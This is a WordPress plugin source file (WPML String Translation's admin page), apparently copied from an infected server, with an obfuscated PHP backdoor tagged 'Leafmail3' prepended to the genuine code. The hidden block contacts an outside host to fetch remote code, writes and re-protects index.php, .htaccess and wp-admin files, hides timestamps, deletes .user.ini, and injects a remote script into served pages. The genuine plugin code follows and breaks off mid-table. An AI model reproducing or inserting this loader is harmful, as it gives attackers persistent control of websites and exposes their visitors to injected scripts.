Current File : /home/virtualki/22346/wp-content/plugins/wpml-string-translation/menu/string-translation.php |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
use WPML\ST\Gettext\AutoRegisterSettings;
/** @var WPML_String_Translation $WPML_String_Translation */
global $sitepress, $WPML_String_Translation, $wpdb, $wp_query;
$string_settings = $WPML_String_Translation->get_strings_settings();
if ( ( ! isset( $sitepress_settings['existing_content_language_verified'] ) || ! $sitepress_settings['existing_content_language_verified'] ) /*|| 2 > count($sitepress->get_active_languages())*/ ) {
return;
}
if ( filter_input( INPUT_GET, 'trop', FILTER_SANITIZE_NUMBER_INT ) > 0 ) {
include dirname( __FILE__ ) . '/string-translation-translate-options.php';
return;
} elseif ( filter_input( INPUT_GET, 'download_mo', FILTER_SANITIZE_FULL_SPECIAL_CHARS ) ) {
include dirname( __FILE__ ) . '/auto-download-mo.php';
return;
}
$status_filter = filter_input( INPUT_GET, 'status', FILTER_SANITIZE_FULL_SPECIAL_CHARS, FILTER_NULL_ON_FAILURE );
$status_filter_text = $status_filter;
$status_filter_lang = false;
if ( preg_match(
'#' . ICL_STRING_TRANSLATION_WAITING_FOR_TRANSLATOR . '-(.+)#',
$status_filter_text,
$matches
)
) {
$status_filter = ICL_STRING_TRANSLATION_WAITING_FOR_TRANSLATOR;
$status_filter_lang = $matches[1];
} else {
$status_filter = filter_input( INPUT_GET, 'status', FILTER_SANITIZE_NUMBER_INT, FILTER_NULL_ON_FAILURE );
}
// $status_filter = $status_filter !== false ? (int) $status_filter : null;
$context_filter = filter_input( INPUT_GET, 'context', FILTER_SANITIZE_FULL_SPECIAL_CHARS );
$search_filter = filter_input( INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS );
$exact_match = filter_input( INPUT_GET, 'em', FILTER_VALIDATE_BOOLEAN );
$search_translation = filter_input( INPUT_GET, 'search_translation', FILTER_VALIDATE_BOOLEAN );
$is_troubleshooting = filter_input( INPUT_GET, 'troubleshooting', FILTER_VALIDATE_BOOLEAN );
$filter_translation_priority = filter_var( isset( $_GET['translation-priority'] ) ? $_GET['translation-priority'] : '', FILTER_SANITIZE_FULL_SPECIAL_CHARS );
$translation_priorities = class_exists( 'WPML_TM_Translation_Priorities' ) ? get_terms(
array(
'taxonomy' => 'translation_priority',
'hide_empty' => false,
)
) : array();
$active_languages = $sitepress->get_active_languages();
$icl_contexts = icl_st_get_contexts( $status_filter );
$unfiltered_context_counts = $status_filter !== false ? icl_st_get_contexts( false ) : $icl_contexts;
function context_array( $contexts ) {
$count_array = array();
$contexts = $contexts ? array_filter( $contexts ) : array();
foreach ( $contexts as $c ) {
$count_array[ $c->context ] = $c->c;
}
return $count_array;
}
$available_contexts = array_keys( context_array( $icl_contexts ) );
$unfiltered_contexts = context_array( $unfiltered_context_counts );
function _icl_string_translation_rtl_div( $language ) {
if ( in_array( $language, array( 'ar', 'he', 'fa' ) ) ) {
echo ' dir="rtl" style="text-align:right;direction:rtl;"';
} else {
echo ' dir="ltr" style="text-align:left;direction:ltr;"';
}
}
function _icl_string_translation_rtl_textarea( $language ) {
if ( in_array( $language, array( 'ar', 'he', 'fa' ) ) ) {
echo ' dir="rtl" style="text-align:right;direction:rtl;width:100%"';
} else {
echo ' dir="ltr" style="text-align:left;direction:ltr;width:100%"';
}
}
$po_importer = apply_filters( 'wpml_st_get_po_importer', null );
?>
<div class="wrap<?php if ($is_troubleshooting): ?> st-troubleshooting<?php endif; ?>">
<h2><?php echo esc_html__( $is_troubleshooting ? 'String Troubleshooting' : 'String translation', 'wpml-string-translation' ); ?></h2>
<?php if ($is_troubleshooting): ?>
<div data-show="true" class="ant-alert ant-alert-info st-troubleshooting-alert" role="alert">
<svg width="22" height="22" fill="#33879e" xmlns="http://www.w3.org/2000/svg">
<path d="M10.267 5.867a.733.733 0 111.466 0v6.6a.733.733 0 11-1.466 0v-6.6zM11 14.667a.733.733 0 100 1.466.733.733 0 000-1.466z"></path>
<path fill-rule="evenodd" clip-rule="evenodd" d="M11 22c6.075 0 11-4.925 11-11S17.075 0 11 0 0 4.925 0 11s4.925 11 11 11zm0-1.467a9.533 9.533 0 100-19.066 9.533 9.533 0 000 19.066z"></path>
</svg>
<div class="ant-alert-content">
<div class="ant-alert-message">
<p><?php echo esc_html__( 'This is the list of strings that are not used or they are linked to wrong translation data.', 'wpml-string-translation' ); ?></p>
</div>
</div>
</div>
<?php endif; ?>
<?php
do_action( 'display_basket_notification', 'st_dashboard_top' );
?>
<?php if ( isset( $po_importer ) && $po_importer->has_strings() ) : ?>
<p><?php printf( esc_html__( "These are the strings that we found in your .po file. Please carefully review them. Then, click on the 'add' or 'cancel' buttons at the %1\$sbottom of this screen%2\$s. You can exclude individual strings by clearing the check boxes next to them.", 'wpml-string-translation' ), '<a href="#add_po_strings_confirm">', '</a>' ); ?></p>
<form method="post" id="wpml_add_strings" action="<?php echo admin_url( 'admin.php?page=' . WPML_ST_FOLDER . '/menu/string-translation.php' ); ?>">
<input type="hidden" id="strings_json" name="strings_json">
<?php wp_nonce_field( 'add_po_strings' ); ?>
<?php $use_po_translations = filter_input( INPUT_POST, 'icl_st_po_translations', FILTER_VALIDATE_BOOLEAN ); ?>
<?php if ( $use_po_translations == true ) : ?>
<input type="hidden" name="action" value="icl_st_save_strings" />
<input
type="hidden"
name="icl_st_po_language"
value="<?php echo filter_input( INPUT_POST, 'icl_st_po_language', FILTER_SANITIZE_FULL_SPECIAL_CHARS ); ?>"
/>
<?php endif; ?>
<?php
$icl_st_domain = filter_input( INPUT_POST, 'icl_st_i_context_new', FILTER_SANITIZE_FULL_SPECIAL_CHARS );
$icl_st_domain = $icl_st_domain ? $icl_st_domain : filter_input( INPUT_POST, 'icl_st_i_context', FILTER_SANITIZE_FULL_SPECIAL_CHARS );
?>
<input
type="hidden"
name="icl_st_domain_name"
value="<?php echo $icl_st_domain; ?>"
/>
<table id="icl_po_strings" class="widefat" cellspacing="0">
<thead>
<tr>
